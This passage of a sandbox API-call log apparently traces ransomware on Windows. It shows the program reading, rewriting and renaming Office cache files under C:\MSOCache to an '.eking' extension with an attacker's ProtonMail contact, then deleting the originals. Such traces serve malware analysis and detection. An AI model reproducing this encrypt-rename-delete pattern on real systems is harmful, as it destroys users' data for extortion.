Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0218.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0218.461] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0218.461] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0218.461] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0218.461] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x168 [0218.462] ReadFile (in: hFile=0x1ac, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x251f, lpOverlapped=0x0) returned 1 [0218.463] WriteFile (in: hFile=0x168, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x2520, lpOverlapped=0x0) returned 1 [0218.464] WriteFile (in: hFile=0x168, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0218.465] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0218.465] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0218.465] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x251f, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x251f, lpOverlapped=0x0) returned 1 [0218.465] FlushFileBuffers (hFile=0x1ac) returned 1 [0218.470] FlushFileBuffers (hFile=0x168) returned 1 [0218.472] CloseHandle (hObject=0x1ac) returned 1 [0218.472] CloseHandle (hObject=0x168) returned 1 [0218.472] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0218.473] SetEvent (hEvent=0xe0) returned 1 [0218.473] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0218.474] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2503680) returned 1 [0218.474] CloseHandle (hObject=0x168) returned 1 [0218.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0218.475] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0218.475] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0218.475] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0218.475] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0218.476] ReadFile (in: hFile=0x168, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0218.480] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0218.480] ReadFile (in: hFile=0x168, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0218.492] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0218.492] ReadFile (in: hFile=0x168, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0218.506] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0218.506] WriteFile (in: hFile=0x168, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0218.541] SetEndOfFile (hFile=0x168) returned 1 [0218.541] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0218.541] WriteFile (in: hFile=0x168, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0218.548] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0218.548] WriteFile (in: hFile=0x168, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0218.552] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0218.552] WriteFile (in: hFile=0x168, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0218.554] FlushFileBuffers (hFile=0x168) returned 1 [0220.090] CloseHandle (hObject=0x168) returned 1 [0220.091] SetEvent (hEvent=0xe0) returned 1 [0220.091] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0220.092] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1988) returned 1 [0220.092] CloseHandle (hObject=0x168) returned 1 [0220.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0220.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0220.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0220.092] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0220.093] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0220.093] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0220.093] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1ac [0220.093] ReadFile (in: hFile=0x168, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x7c4, lpOverlapped=0x0) returned 1 [0220.095] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x7d0, lpOverlapped=0x0) returned 1 [0220.097] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0220.097] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0220.097] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0220.098] WriteFile (in: hFile=0x168, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7c4, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x7c4, lpOverlapped=0x0) returned 1 [0220.098] FlushFileBuffers (hFile=0x168) returned 1 [0220.102] FlushFileBuffers (hFile=0x1ac) returned 1 [0220.106] CloseHandle (hObject=0x168) returned 1 [0220.107] CloseHandle (hObject=0x1ac) returned 1 [0220.107] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0220.108] SetEvent (hEvent=0xe0) returned 1 [0220.108] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0220.111] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2511872) returned 1 [0220.111] CloseHandle (hObject=0x1ac) returned 1 [0220.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0220.111] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0220.112] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0220.112] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0220.112] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0220.112] ReadFile (in: hFile=0x1ac, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0220.117] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0220.118] ReadFile (in: hFile=0x1ac, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0220.133] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0220.133] ReadFile (in: hFile=0x1ac, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0220.149] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0220.149] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0220.249] SetEndOfFile (hFile=0x1ac) returned 1 [0220.250] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0220.250] WriteFile (in: hFile=0x1ac, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0220.253] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0220.253] WriteFile (in: hFile=0x1ac, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0220.258] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0220.258] WriteFile (in: hFile=0x1ac, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0220.260] FlushFileBuffers (hFile=0x1ac) returned 1 [0220.378] CloseHandle (hObject=0x1ac) returned 1 [0220.379] SetEvent (hEvent=0xe0) returned 1 [0220.379] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0220.389] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1452) returned 1 [0220.389] CloseHandle (hObject=0x1a8) returned 1 [0220.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0220.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0220.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0220.390] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0220.390] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0220.390] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0220.390] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1ac [0220.390] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x5ac, lpOverlapped=0x0) returned 1 [0220.932] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x5b0, lpOverlapped=0x0) returned 1 [0220.934] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0220.934] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0220.934] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0220.934] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x5ac, lpOverlapped=0x0) returned 1 [0220.935] FlushFileBuffers (hFile=0x1a8) returned 1 [0220.943] FlushFileBuffers (hFile=0x1ac) returned 1 [0220.947] CloseHandle (hObject=0x1a8) returned 1 [0220.947] CloseHandle (hObject=0x1ac) returned 1 [0220.947] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0220.949] SetEvent (hEvent=0xe0) returned 1 [0220.949] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0220.956] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=8265165) returned 1 [0220.956] CloseHandle (hObject=0x1ac) returned 1 [0220.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0220.956] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0220.957] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0220.957] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0220.957] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0220.957] ReadFile (in: hFile=0x1ac, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0220.960] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0220.960] ReadFile (in: hFile=0x1ac, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, 